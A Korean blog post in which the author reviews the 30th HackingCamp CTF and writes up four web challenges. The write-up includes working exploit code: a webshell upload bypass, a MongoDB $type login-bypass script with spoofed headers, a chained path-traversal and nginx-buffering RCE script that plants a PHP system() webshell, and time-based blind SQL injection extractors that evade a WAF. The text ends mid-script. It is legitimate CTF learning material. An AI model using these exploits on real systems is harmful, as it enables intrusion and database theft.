제 30회 HackingCamp 후기
한동안 회사에 취업하고 너무 바빠서 블로그를 쓰지 못했다 (이제 조금 덜 바빠서 다시 열심히 써볼 예정).
그동안 가고싶었던 해킹캠프에 처음으로 참가하게 되었다. 사실 참가자들 중에 나이가 제일 많을거 같아서 지원당시 떨어지기 싫어서 팀장 희망 신청까지 했는데,, 팀장들은 앞에 나와서 재밌는걸 하게 될줄은 멘토님께 얘기만 들었지 정말 진짜로 할 줄은 몰랐다.. ^^;
나는 "너 T발 F야??" 팀의 팀장이었고, 역시나 가장 나이가 많았다... 하지만 맏내(?) 포지션 담당이었다.
아쉽게 CTF는 최종 3등을 했고 (내가 웹 문제 두개만 더 풀었어도..) 정말 감사하게도 개인적으로는 성실하게 참가했던 3명에게 주는 Sincere Hacker 상을 수상하게 되었다. chill guy 반팔티와 poc2025 컨퍼런스 참가권(2024년에는 직장인 기준 참가비가 80만원)을 받았다.
처음 참가한 해킹캠프에서 너무 좋은 팀원들을 만나서 소중한 추억이 될거 같고, 편한 형, 오빠, 팀장으로 불러주고 대해줘서 다시한번 감사함을 느낀다.
이번 제 30회 해킹캠프 CTF 웹 문제 롸업을 간단하게 정리하고자 한다.. 못푼 문제는 대회가 끝나고 약 1주간 사이트를 열어주셔서 마감 마지막날 급하게 풀었다. 총 웹은 6문제인데, Our board, Socode 라는 문제를 제외하고 정리하고자 한다. (해당 두 문제는 0 solve였고 대회측에서 풀이 롸업을 제공해주셨다.) 참고로 Mobile Store라는 문제도 0 solve였는데 멘토님(arrester)께서 내주신 문제여서 뒤늦게나마 풀어보았다.
1. 카사노바의 이혼 대작전
문제
문제 코드 분석
<?php
ob_start();
// POST request
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// POST 요청일 때 실행
$input_pw = isset($_POST["password"]) ? $_POST["password"] : "";
// 길이 검사
if (strlen($input_pw) >= 30) {
header("Location: information.php?error=length");
exit();
} else {
$input_pw = base64_decode($input_pw);
# 353423
$regex = "/\d{2,5}\@[3-9]{3}(42){1,5}[^\\dAEIOU\\*\\(\\)]{2}\\!\\$/";
// 정규 표현식에 부합하는 값이 들어오면, n3wPa55W0rd 값으로 대체됨
$pw = preg_replace($regex, "n3wPa55W0rd", $input_pw);
// n3wPa55W0rd 값일 때 성공, 이 때 따로 url 접속 경로에 대한 검증이 보이지 않음
if ($pw == "n3wPa55W0rd") {
header("Location: information.php?success=777");
} else {
header("Location: information.php?error=invalid");
}
exit();
}
} else {
echo "Not GET request";
}
ob_end_flush();우선 문제에서 제공된 파일은 해당 query.php 파일이다.
단순히 url 접속에 대한 검증이 따로 없어서, pw가 실제로는 정규식 조건에 맞아야하는데 information.php?success=777 로 접속 가능
- 정규 표현식 정리
실제 가능한 값 : 12@333424242xx!$\d{2,5}: 2-5자리 숫자\@: @ 기호[3-9]{3}: 3-9 사이의 숫자 3개(42){1,5}: "42"가 1-5번 반복[^\dAEIOU\*\(\)]{2}: 숫자, AEIOU, *, (, ) 를 제외한 문자 2개\!\$: !$ 로 끝남
url로 접근 시 Real password 값을 확인할 수 있다.
상단탭에서 서비스 신청 기능 존재, 여기서 파일 업로드 가능하다.
따라서 webshell.php 업로드 시도해보았다.
하지만 아래와 같은 거부 메세지 출력된다.
image이기 때문에 jpg, jpeg, png 확장자 가능할거라 판단했고, .jpg 확장자를 중간에 삽입하는 방법으로 우회 시도해보고자 했다.
이렇게 했을 때 업로드가 되고 업로드 url을 따라 접속하게 되면 아래와 같이 webshell이 확인된다.
그리고 명령어를 입력했을 때 hidden 디렉토리 경로를 확인할 수 있었고, 해당 경로에 들어가게되면,
아래와 같이 flag.txt를 확인할 수 있다.
플래그는 아래와 같이 확인할 수 있다.
2. 일을 하려면
문제
문제 코드 분석
1.dashboard.php
dashboard.php에서 flag를 확인할 수 있다.
<?php
session_start();
if (!isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
header('Location: index.php');
exit;
}
$mongo = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$filter = ['role' => 'admin'];
$query = new MongoDB\Driver\Query($filter);
$cursor = $mongo->executeQuery('test.users', $query);
$user = current($cursor->toArray());
if ($user) {
$flag = $user->flag;
} else {
$flag = "flag를 찾을 수 없습니다.";
}
?>
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>대시보드</title>
</head>
<body>
<h1>관리자 대시보드</h1>
<p>이곳은 관리자만 접근할 수 있습니다.</p>
<p>당신의 flag는: <strong><?php echo $flag; ?></strong></p>
<a href="logout.php">로그아웃</a>
</body>
</html>dashboard.php로 가기 위해서는 login을 성공해야하는데,
2.login.php
<?php
session_start();
$mongo = new MongoDB\Driver\Manager("mongodb://mongo:27017");
if (!isset($_SERVER['HTTP_X_REQUEST_TIME'])) {
die("비정상적인 요청이 감지되었습니다.");
}
$request_time = $_SERVER['HTTP_X_REQUEST_TIME'];
$current_time = round(microtime(true) * 1000);
if (abs($current_time - $request_time) > 5000) {
die("웹 프록시 도구 사용이 감지되었습니다.");
}
# local 주소를 header 값인 X_Forwarded_for에 추가해서 request 해서 우회 가능
if(!isset($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] !== '127.0.0.1') {
die("Only local access allowed.");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$input = json_decode($_POST['password'], true);
# type 연산자는 filter에 빠져 있다. -> 이를 이용해서 우회 가능
if (is_array($input)) {
$blocked_operators = ['$ne', '$regex', '$gt', '$lt', '$gte', '$lte', '$in', '$nin', '$exists'];
foreach ($blocked_operators as $op) {
if (isset($input[$op])) {
die("허용되지 않은 연산자가 포함되었습니다.");
}
}
}
$userFilter = ['username' => $username];
$userQuery = new MongoDB\Driver\Query($userFilter);
$userCursor = $mongo->executeQuery('test.users', $userQuery);
$userExists = current($userCursor->toArray());
if (!$userExists) {
$login_error = "존재하지 않는 사용자입니다.";
} else {
# 아래와 같은 방법으로 페이로드를 만들어 전송하면 됨.
$filter = [
'username' => $username,
'password' => $input,
'is_active' => true
];
$query = new MongoDB\Driver\Query($filter);
try {
$cursor = $mongo->executeQuery('test.users', $query);
$user = current($cursor->toArray());
if ($user) {
$_SESSION['username'] = $user->username;
$_SESSION['role'] = $user->role;
# 로그인 성공시 dashboard.php로 렌더링, username은 admin, index.php 코드 참고하면 알 수 있음
if ($user->role === 'admin') {
header('Location: dashboard.php');
exit;
} else {
$login_error = "권한이 없습니다.";
}
} else {
$login_error = "비밀번호가 일치하지 않습니다.";
}
} catch (MongoDB\Driver\Exception\Exception $e) {
$login_error = "로그인 처리 중 오류가 발생했습니다.";
}
}
}
?>
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>로그인 결과</title>
</head>
<body>
<h1>로그인 결과</h1>
<?php
if (isset($login_error)) {
echo "<p style='color: red;'>$login_error</p>";
}
?>
<a href="index.php">다시 로그인</a>
</body>
</html>풀이
1.코드의 취약점 분석:
$blocked_operators = ['$ne', '$regex', '$gt', '$lt', '$gte', '$lte', '$in', '$nin', '$exists'];- 코드는 위와 같은 MongoDB 연산자들만 필터링하고 있다.
- $type 연산자가 필터링 목록에서 빠져있어 사용 가능함
2.MongoDB의 $type 연산자
- $type 연산자는 BSON 타입을 기준으로 필드를 매칭한다.
- BSON Type 2는 String(문자열) 타입을 의미한다.
- {"$type": 2}는 "이 필드가 문자열 타입인 모든 문서를 찾아라"라는 의미이다.
reference : https://www.mongodb.com/docs/manual/reference/operator/query/type/
3.인증 우회가 발생하는 과정:
$filter = [
'username' => $username,
'password' => $input, // 여기에 {"$type": 2}가 들어감
'is_active' => true
];- password 필드에 {"$type": 2}를 넣으면 다음과 같은 MongoDB 쿼리가 생성된다.
{
username: "admin",
password: { $type: 2 }, // 문자열 타입인 모든 password와 매칭
is_active: true
}- 이 쿼리는 "admin 계정이면서, password가 문자열이고, 활성화된 계정"을 찾는다.
- MongoDB에서 저장된 모든 일반 비밀번호는 문자열 타입이므로, 실제 비밀번호 값과 관계없이 조건이 참이 된다.
4.mitigation
$blocked_operators = ['$ne', '$regex', '$gt', '$lt', '$gte', '$lte', '$in', '$nin', '$exists', '$type'];- $type 연산자도 차단 목록에 추가해야 한다
- 또는 password 필드가 단순 문자열만 받도록 타입 검사를 추가해야 한다.
if (!is_string($input)) {
die("비밀번호는 문자열이어야 합니다.");
}따라서 아래와 같이 익스플로잇 코드를 작성할 수 있다.
exploit.py
import requests
import json
import time
# 타겟 URL
url = "http://3.39.38.109:3029/login.php" # 실제 타겟 URL로 변경하세요
# 현재 시간을 밀리초로 변환
current_time = round(time.time() * 1000)
# 페이로드 설정
data = {
"username": "admin", # admin 계정을 타겟으로 합니다
"password": json.dumps({"$type": 2}), # $type:2는 문자열 타입을 의미합니다
}
# 필요한 헤더 설정
headers = {
"X-Request-Time": str(current_time), # 타임스탬프 검증 우회
"X-Forwarded-For": "127.0.0.1", # 로컬 접근 검증 우회
"Content-Type": "application/x-www-form-urlencoded",
}
# POST 요청 보내기
try:
response = requests.post(url, data=data, headers=headers)
# 응답 확인
if "dashboard.php" in response.url:
print("[+] 익스플로잇 성공! Admin 권한으로 로그인됨")
print("[+] 리디렉션 URL:", response.url)
print("[-] 응답 페이지 내용:", response.text)
else:
print("[-] 익스플로잇 실패")
print("[-] 응답:", response.text)
except Exception as e:
print("[-] 오류 발생:", str(e))아래와 같이 flag가 포함된 페이지 결과를 확인할 수 있다.
3. only_welcome.txt
우선 해당 문제는 풀이법을 제공해주셨던, goldleo1님의 허락을 구하고 정리한다. (감사합니다 goldleo1님)
정말 nginx client body buffering을 이용한 rce라고 볼 수 있는데 정말 감탄했던 문제다.
문제
해당 문제는 문제 파일을 주지 않은 블랙박스 문제라고 생각했다.
풀이
우선 해당 경로를 접속하면, 아래와 같은 화면을 확인할 수 있다.
이 때, 값이 base64 인코딩 형태여서 이를 확인해보니 ?src로 디코딩된 것을 확인할 수 있었다. 그래서 해당 경로의 ?src로 접속을 해보았다.
해당 경로를 접속하면 아래와 같은 코드를 확인할 수 있다.
그리고 해당 문제 사이트의 php version도 ?hmm 경로에서 확인이 가능했다.
/?src 경로에서 확인된 코드는 아래와 같다.
<?php
session_start();
error_reporting(0);
// 소스코드 보기 기능
if(isset($_GET['src'])) {
highlight_file(__FILE__);
exit();
}
// phpinfo 확인 기능
if(isset($_GET['hmm'])) {
phpinfo();
exit();
}
// 파일명 입력 받기 (기본값: welcome.txt)
$txt = isset($_GET['only_welcome.txt']) ? $_GET['only_welcome.txt'] : 'welcome.txt';
// 파일명 검증 함수
function validatetxtPath($path) {
$blacklist = array(
'zip', 'http', 'php', 'sess', 'expect', 'data', 'phar', 'news', 'fprintf',
'https', 'glob', 'base64', 'audio', 'sys', 'php-s', 'ftp', 'filter',
'string', 'file', 'pid', 'input', 'log', 'zlib', 'ogg', 'rar', 'ssh2',
'res', 'lib', 'compress'
);
// .txt 확장자 검사
if (!preg_match('/\.txt/', $path)) {
die('Error: Only txt file allowed');
}
// 블랙리스트 단어 검사
foreach ($blacklist as $term) {
if (stripos($path, $term) !== false) {
die('Error: Invalid file name');
}
}
return $path;
}
// 검증된 파일 include
$safePath = validatetxtPath($txt);
require_once "./hcamp/$safePath";
?>분석:
1.입력값 검증 문제
.txt가 경로 내 어디든 포함되면 통과- Path traversal 방지 로직 부재
- 블랙리스트 기반 필터링의 한계
- require_once를 통한 직접적인 파일 include
2.PHP Parameter Parsing 특성 이용
only_welcome.txt파라미터를only[welcome.txt로 전송 가능- PHP의 parameter parsing 과정에서 동일하게 처리됨
- [가 알아서로 치환되고 내부 조건문을 빠져나오면서 .이로 치환이 안된다고 함. 해당 php 7.4.3 버전에서 발생하는 취약점인듯, 최근 버전에서는 발생 x
3.Nginx Configuration 특성
- client body buffering 기능으로 인한 임시 파일 생성
/proc/<nginx_worker_pid>/fd/를 통한 file descriptor 접근 가능- 버퍼링된 파일이 PHP 처리 완료 전까지 유지됨
Exploit 코드 (from goldleo1)
#!/usr/bin/env python3
import sys, threading, requests
URL = f"http://3.39.38.109:9999"
# CPU 코어 수 확인 (/proc/cpuinfo 읽기)
r = requests.get(URL, params={"only[welcome.txt": "../../.txt/../../../proc/cpuinfo"})
cpus = r.text.count("processor")
print(cpus)
# r = requests.get(URL, params={
# 'only[welcome.txt': '../../.txt/../../../proc/sys/kernel/pid_max'
# })
# pid_max = int(r.text)
# PID 범위 설정
pid_max = int(500)
print(f"[*] cpus: {cpus}; pid_max: {pid_max}")
# nginx worker process PID 찾기
nginx_workers = []
for pid in range(pid_max):
r = requests.get(
URL, params={"only[welcome.txt": f"../../.txt/../../../proc/{pid}/cmdline"}
)
if b"nginx: worker process" in r.content:
print(f"[*] nginx worker found: {pid}")
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# Nginx client body buffering 취약점을 이용한 PHP 웹셸 업로드 시도
# 서버에 PHP 시스템 명령 실행 코드와 대량의 'A'를 포함한 데이터 지속적으로 전송
# Nginx가 대용량 요청 본문을 임시 파일로 저장하는 방식을 악용
def uploader():
print("[+] starting uploader")
while not done:
# 16KB 크기의 PHP 웹쉘 업로드
# nginx client body buffering 기능으로 인해 임시 파일로 저장됨
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16 * 1024 * "A")
# 16개의 업로드 스레드 생성
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# Nginx 워커의 파일 디스크립터를 통해 업로드된 임시 파일에 접근 시도
# client body buffering 취약점으로 인해 생성된 임시 파일을 찾아 공격
def bruter(pid):
global done
while not done:
print(f"[+] brute loop restarted: {pid}")
for fd in range(4, 32):
# nginx worker의 file descriptor를 통해 버퍼링된 파일 접근
f = f"../../.txt/../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}"
r = requests.get(URL, params={"only[welcome.txt": f, "c": f"/readflag"})
if r.text:
print(f"[!] {f}: {r.text}")
done = True
exit()
# 각 nginx worker에 대해 브루트포서 실행
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid,))
a.start()요약
- 정보 수집
- Path traversal로 시스템 파일 접근
- CPU 코어 수와 nginx worker PID 확인
- 웹쉘 업로드
- 여러 스레드로 동시 업로드 시도
- nginx client body buffering으로 인해 임시 파일 생성
- 큰 파일 크기(16KB)로 버퍼링 시간 확보
- 파일 접근 및 실행
- nginx worker의 file descriptor를 통해 업로드된 파일 탐색
- require_once를 통해 PHP 코드 실행
- 시스템 명령어 실행 권한 획득
PHP의 parameter parsing 특성, nginx의 client body buffering 기능, 그리고 file descriptor를 통한 파일 접근이라는 여러 요소들을 체이닝하여 성공적인 공격을 수행한다.
최종적으로 아래와 같이 flag를 획득할 수 있다.
4. Mobile Store
문제
멘토님(arrester) 께서 내주신 문제
풀이
해당 url에 접속하면 아래와 같은 사이트를 확인할 수 있다. 해당 사이트에서 보이는 앱들은 실제 RunningGo라는 리버싱 문제인 앱을 제외하고 다 동일한 큰 기능없는 앱인 것을 우선 확인했다.
우선 메인 페이지 접속 시 아래와 같이 server는 nginx/1.27.4, 백엔드는 php/8.4.4를 사용하고 있음을 알 수 있다. php가 최근 버전이기 때문에 php 버전 취약점을 이용하는 것은 아니라고 판단하는 것이 옳다. (사실 백엔드 정보는 문제를 다 풀고 멘토님의 지시로 확인해보았다.. 나중에는 이 부분을 처음에 확인하는 것이 좋을 것이라 판단됨)
우선 검색 폼이 있어서 해당 폼에 sql injection과 xss를 시도해 보았다. 결과는 아래와 같이 waf가 걸려있는 것을 확인할 수 있었다.
우선 해당 사이트에서는 아래와 같이 바로 검색을 했을 때는, parameter가 검색 키워드 (여기서는 test로 시도)에 해당하는 q만 확인되는데,
실제로 앱 이름과, 오름차순을 설정해서 다시 검색을 시도하면 아래와 같이 parameter가 q뿐만 아니라 type, order 가 있는 것을 확인할 수 있었다. 해당 문제는 vulnhub의 m87문제에서 파라미터 수집을 해서 숨겨진 파라미터를 찾아서 해당 파라미터에 sql injection을 시도한 것과 유사해서 order 파라미터 값에 sql injection을 시도해보았다.
우선 아래와 같이 시도해보았을 때, 동일하게 실패했다.
time based를 테스트해보고자 했는데 이번에도 waf에 걸렸다.
그래서 sleep이나 if와 같은 명령어의 대소문자를 바꾸어 우회해보고자 했고 waf에 걸리지 않고 아래와 같이 우회할 수 있었다.
그래서 time base blind sql injection을 위한 코드를 작성해서 database, table, column을 알아내면 관리자 계정을 획득할 수 있을거라 생각했다.
우선 database를 알아내기 위한 코드를 짰다.
import requests
import time
import string
class BlindSQLInjector:
def __init__(self, url, sleep_time=3):
self.url = url
self.sleep_time = sleep_time
self.chars = string.ascii_letters + string.digits + "_-"
self.working_payload = ""
def make_request(self, payload):
full_url = self.url + payload
print(f"Testing URL: {full_url}")
try:
start_time = time.time()
response = requests.get(full_url, timeout=self.sleep_time + 2)
end_time = time.time()
time_taken = end_time - start_time
print(f"Response time: {time_taken:.2f} seconds")
return time_taken >= self.sleep_time
except requests.Timeout:
print("Request timed out - potential success")
return True
except Exception as e:
print(f"Error occurred: {e}")
return False
def test_injection(self):
"""기본적인 SQL Injection이 작동하는지 테스트"""
print("[*] Testing basic SQL injection...")
test_payloads = [
"&order=ASC,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a)",
"&order=ASC,(seLeCt(if(1=1,sLeeP({sleep_time}),1)))",
"&order=ASC,if(1=1,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a),0)",
"&order=ASC,(seLeCt 1 from (seLeCt sLeeP({sleep_time}))a)",
]
for payload_template in test_payloads:
payload = payload_template.format(sleep_time=self.sleep_time)
print(f"\nTesting payload: {payload}")
if self.make_request(payload):
print("[+] Found working payload!")
self.working_payload = payload_template
return True
return False
def get_database_name(self):
print("[*] Extracting database name...")
db_name = ""
# 데이터베이스 이름 길이 확인
db_length = 0
print("[*] Finding database length...")
for i in range(1, 20):
# length 함수를 사용한 조건문
payload = self.working_payload.format(
sleep_time=f"if((seLect length(dataBASE()))={i},{self.sleep_time},0)"
)
if self.make_request(payload):
db_length = i
print(f"[+] Database name length: {db_length}")
break
if db_length == 0:
print("[-] Could not determine database length")
return ""
# 각 위치의 문자 추출
print("[*] Extracting database characters...")
for pos in range(1, db_length + 1):
for char in self.chars:
# substring 함수를 사용한 조건문
payload = self.working_payload.format(
sleep_time=f"if((seLect ascii(subsTring(dataBASE(),{pos},1)))={ord(char)},{self.sleep_time},0)"
)
if self.make_request(payload):
db_name += char
print(f"\rCurrent database name: {db_name}", end="")
break
print(f"\n[+] Final database name: {db_name}")
return db_name
def get_tables(self, db_name):
print(f"\n[*] Extracting tables from database: {db_name}")
# 테이블 수 확인
table_count = 0
for i in range(0, 50):
payload = self.working_payload.format(
sleep_time=f"if((seLect count(*) from inForMation_schema.taBles where taBle_schema='{db_name}')={i},{self.sleep_time},0)"
)
if self.make_request(payload):
table_count = i
print(f"[+] Found {table_count} tables")
break
if table_count == 0:
return []
tables = []
# 각 테이블의 이름 길이와 문자 추출
for table_index in range(table_count):
table_name = ""
# 테이블 이름 길이 확인
for length in range(1, 30):
payload = self.working_payload.format(
sleep_time=f"if((seLect length(taBle_name) from inForMation_schema.taBles where taBle_schema='{db_name}' limit {table_index},1)={length},{self.sleep_time},0)"
)
if self.make_request(payload):
# 테이블 이름의 각 문자 추출
for pos in range(1, length + 1):
for char in self.chars:
payload = self.working_payload.format(
sleep_time=f"if((seLect ascii(subsTring(taBle_name,{pos},1)) from inForMation_schema.taBles where taBle_schema='{db_name}' limit {table_index},1)={ord(char)},{self.sleep_time},0)"
)
if self.make_request(payload):
table_name += char
print(
f"\rExtracting table {table_index + 1}/{table_count}: {table_name}",
end="",
)
break
break
if table_name:
tables.append(table_name)
print(f"\n[+] Found table: {table_name}")
return tables
def main():
base_url = "http://3.39.38.109:8081/search?q=test&type=name"
injector = BlindSQLInjector(base_url)
if not injector.test_injection():
print("[-] Could not find working injection method")
return
db_name = injector.get_database_name()
if not db_name:
print("[-] Failed to extract database name")
return
tables = injector.get_tables(db_name)
if not tables:
print("[-] Failed to extract tables")
return
print("\n[+] Summary:")
print(f"Database: {db_name}")
print("Tables found:")
for table in tables:
print(f"- {table}")
if __name__ == "__main__":
main()>(펼치기) &order=ASC,(seLeCt\\\*from(seLeCt(sLeeP({sleep\\\_time})))a) 에서 a의 역할
MySQL Blind SQL Injection에서 a(별칭)를 붙이는 이유
1. MySQL에서는 서브쿼리에 별칭(Alias)이 필요하다.
MySQL에서는 서브쿼리를 사용할 때 반드시 별칭(alias)을 지정해야 한다.
만약 별칭이 없으면 "Every derived table must have its own alias" 오류가 발생한다.
예를 들어, 다음과 같은 SQL 문은 실행되지 않는다.
SELECT * FROM (SELECT SLEEP(3));위 쿼리는 별칭이 없기 때문에 MySQL이 실행할 수 없다.
하지만 서브쿼리에 별칭을 지정하면 정상적으로 실행된다.
SELECT * FROM (SELECT SLEEP(3)) AS a;따라서 Blind SQL Injection을 수행할 때 a와 같은 별칭을 추가해야 정상적으로 실행할 수 있다.
2. Blind SQL Injection에서 SLEEP()을 사용할 때 필요하다.
Blind SQL Injection에서는 SLEEP()을 사용하여 참/거짓 조건을 판별할 수 있다.
그러나 SLEEP()을 사용한 서브쿼리를 만들 때, MySQL의 제약으로 인해 반드시 별칭을 지정해야 한다.
다음과 같은 형태로 SLEEP()을 감싸는 서브쿼리를 만들면 오류가 발생한다.
SELECT * FROM (SELECT SLEEP(3));하지만 별칭을 추가하면 MySQL이 정상적으로 실행할 수 있다.
SELECT * FROM (SELECT SLEEP(3)) AS a;따라서 SQL Injection에서 SLEEP()을 활용하려면 a와 같은 별칭을 붙여야 한다.
3. SQL Injection에서 사용하는 최종 페이로드
MySQL의 서브쿼리 제한을 우회하기 위해, Blind SQL Injection에서는 다음과 같은 페이로드를 사용한다.
&order=ASC,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a)이 페이로드는 SLEEP()을 포함하는 서브쿼리에 a라는 별칭을 추가하여 MySQL의 제약을 우회하고, 정상적으로 실행되도록 한다.
4. 결론
- MySQL에서는 서브쿼리를 사용할 때 반드시 별칭(alias)이 필요하다.
SLEEP()을 사용한 Blind SQL Injection을 수행할 때, 서브쿼리에 별칭을 추가해야 한다.- MySQL의 서브쿼리 제한을 우회하기 위해
a와 같은 별칭을 붙인다. - 따라서
&order=ASC,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a)와 같은 페이로드를 사용하면 Blind SQL Injection을 성공적으로 수행할 수 있다.
해당 코드의 결과는 아래와 같다.
database를 알아냈고 바로 table들을 알아내기 위해 아래와 같이 코드를 작성했다.
import requests
import time
import string
class BlindSQLInjector:
def __init__(self, url, sleep_time=3):
self.url = url
self.sleep_time = sleep_time
self.chars = string.ascii_letters + string.digits + "_-"
self.working_payload = ""
def make_request(self, payload):
full_url = self.url + payload
print(f"Testing URL: {full_url}")
try:
start_time = time.time()
response = requests.get(full_url, timeout=self.sleep_time + 2)
end_time = time.time()
time_taken = end_time - start_time
print(f"Response time: {time_taken:.2f} seconds")
return time_taken >= self.sleep_time
except requests.Timeout:
print("Request timed out - potential success")
return True
except Exception as e:
print(f"Error occurred: {e}")
return False
def test_injection(self):
"""기본적인 SQL Injection이 작동하는지 테스트"""
print("[*] Testing basic SQL injection...")
test_payloads = [
"&order=ASC,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a)",
"&order=ASC,(seLeCt(if(1=1,sLeeP({sleep_time}),1)))",
"&order=ASC,if(1=1,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a),0)",
"&order=ASC,(seLeCt 1 from (seLeCt sLeeP({sleep_time}))a)",
]
for payload_template in test_payloads:
payload = payload_template.format(sleep_time=self.sleep_time)
print(f"\nTesting payload: {payload}")
if self.make_request(payload):
print("[+] Found working payload!")
self.working_payload = payload_template
return True
return False
def get_database_name(self):
print("[*] Extracting database name...")
db_name = ""
# 데이터베이스 이름 길이 확인
db_length = 0
print("[*] Finding database length...")
for i in range(1, 20):
# length 함수를 사용한 조건문
payload = self.working_payload.format(
sleep_time=f"if((seLect length(dataBASE()))={i},{self.sleep_time},0)"
)
if self.make_request(payload):
db_length = i
print(f"[+] Database name length: {db_length}")
break
if db_length == 0:
print("[-] Could not determine database length")
return ""
# 각 위치의 문자 추출
print("[*] Extracting database characters...")
for pos in range(1, db_length + 1):
for char in self.chars:
# substring 함수를 사용한 조건문
payload = self.working_payload.format(
sleep_time=f"if((seLect ascii(subsTring(dataBASE(),{pos},1)))={ord(char)},{self.sleep_time},0)"
)
if self.make_request(payload):
db_name += char
print(f"\rCurrent database name: {db_name}", end="")
break
print(f"\n[+] Final database name: {db_name}")
return db_name
def get_tables(self, db_name):
print(f"\n[*] Extracting tables from database: {db_name}")
# 테이블 수 확인
table_count = 0
for i in range(0, 50):
payload = self.working_payload.format(
sleep_time=f"if((seLect count(*) from inForMation_schema.taBles where taBle_schema='{db_name}')={i},{self.sleep_time},0)"
)
if self.make_request(payload):
table_count = i
print(f"[+] Found {table_count} tables")
break
if table_count == 0:
return []
tables = []
# 각 테이블의 이름 길이와 문자 추출
for table_index in range(table_count):
table_name = ""
# 테이블 이름 길이 확인
for length in range(1, 30):
payload = self.working_payload.format(
sleep_time=f"if((seLect length(taBle_name) from inForMation_schema.taBles where taBle_schema='{db_name}' limit {table_index},1)={length},{self.sleep_time},0)"
)
if self.make_request(payload):
# 테이블 이름의 각 문자 추출
for pos in range(1, length + 1):
for char in self.chars:
payload = self.working_payload.format(
sleep_time=f"if((seLect ascii(subsTring(taBle_name,{pos},1)) from inForMation_schema.taBles where taBle_schema='{db_name}' limit {table_index},1)={ord(char)},{self.sleep_time},0)"
)
if self.make_request(payload):
table_name += char
print(
f"\rExtracting table {table_index + 1}/{table_count}: {table_name}",
end="",
)
break
break
if table_name:
tables.append(table_name)
print(f"\n[+] Found table: {table_name}")
return tables
def main():
base_url = "http://3.39.38.109:8081/search?q=test&type=name"
injector = BlindSQLInjector(base_url)
if not injector.test_injection():
print("[-] Could not find working injection method")
return
db_name = injector.get_database_name()
if not db_name:
print("[-] Failed to extract database name")
return
tables = injector.get_tables(db_name)
if not tables:
print("[-] Failed to extract tables")
return
print("\n[+] Summary:")
print(f"Database: {db_name}")
print("Tables found:")
for table in tables:
print(f"- {table}")
if __name__ == "__main__":
main()결과는 아래와 같이 apps, installations, users 세개의 table을 찾아냈다.
그리고 각 table에서 column 값들을 알아내기 위해 코드를 작성했다.
import requests
import time
import string
class ColumnExtractor:
def __init__(self, url, sleep_time=3):
self.url = url
self.sleep_time = sleep_time
self.chars = string.ascii_letters + string.digits + "_-"
self.working_payload = "&order=ASC,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a)"
def make_request(self, payload):
full_url = self.url + payload
print(f"Testing URL: {full_url}")
try:
start_time = time.time()
response = requests.get(full_url, timeout=self.sleep_time + 2)
end_time = time.time()
time_taken = end_time - start_time
print(f"Response time: {time_taken:.2f} seconds")
return time_taken >= self.sleep_time
except requests.Timeout:
print("Request timed out - potential success")
return True
except Exception as e:
print(f"Error occurred: {e}")
return False
def get_columns(self, db_name, table_name):
print(f"\n[*] Extracting columns from table: {table_name}")
# 컬럼 수 확인
column_count = 0
for i in range(0, 20):
payload = self.working_payload.format(
sleep_time=f"if((seLect count(*) from inForMation_schema.coLumns where taBle_schema='{db_name}' and taBle_name='{table_name}')={i},{self.sleep_time},0)"
)
if self.make_request(payload):
column_count = i
print(f"[+] Found {column_count} columns")
break
if column_count == 0:
return []
columns = []
# 각 컬럼의 이름 추출
for col_index in range(column_count):
column_name = ""
# 컬럼 이름 길이 확인
for length in range(1, 30):
payload = self.working_payload.format(
sleep_time=f"if((seLect length(coLumn_name) from inForMation_schema.coLumns where taBle_schema='{db_name}' and taBle_name='{table_name}' limit {col_index},1)={length},{self.sleep_time},0)"
)
if self.make_request(payload):
# 컬럼 이름의 각 문자 추출
for pos in range(1, length + 1):
for char in self.chars:
payload = self.working_payload.format(
sleep_time=f"if((seLect ascii(subsTring(coLumn_name,{pos},1)) from inForMation_schema.coLumns where taBle_schema='{db_name}' and taBle_name='{table_name}' limit {col_index},1)={ord(char)},{self.sleep_time},0)"
)
if self.make_request(payload):
column_name += char
print(
f"\rExtracting column {col_index + 1}/{column_count}: {column_name}",
end="",
)
break
break
if column_name:
columns.append(column_name)
print(f"\n[+] Found column: {column_name}")
return columns
def main():
base_url = "http://3.39.38.109:8081/search?q=test&type=name"
db_name = "mobile_store"
# tables = ["apps", "installations", "users"]
tables = ["apps"]
# tables = ["installations"]
# tables = ["users"]
extractor = ColumnExtractor(base_url)
print("[+] Starting column extraction for known tables...")
for table in tables:
columns = extractor.get_columns(db_name, table)
if columns:
print(f"\nTable: {table}")
print("Columns:")
for column in columns:
print(f"- {column}")
if __name__ == "__main__":
main()결과는 아래와 같다.
여기서 is_admin이 있는 것을 보아 users에서 is_admin이 1일 때, username, email, password에서 flag를 획득할 수 있거나, 관리자 계정을 알아내어 로그인을 해서 flag를 획득하는 시나리오를 예상할 수 있었다.
그래서 username, password, email을 알아내기 위해서 아래와 같이 코드를 작성했다.
import requests
import time
import string
class DataExtractor:
def __init__(self, url, sleep_time=3):
self.url = url
self.sleep_time = sleep_time
self.chars = string.ascii_letters + string.digits + "_-={}" # password가 base64 인코딩 되었을 가능성 예상
self.working_payload = "&order=ASC,(seLeCt*from(seLeCt(sLeeP({sleep_time})))a)"
def make_request(self, payload):
full_url = self.url + payload
print(f"Testing URL: {full_url}")
try:
start_time = time.time()
response = requests.get(full_url, timeout=self.sleep_time + 2)
end_time = time.time()
time_taken = end_time - start_time
print(f"Response time: {time_taken:.2f} seconds")
return time_taken >= self.sleep_time
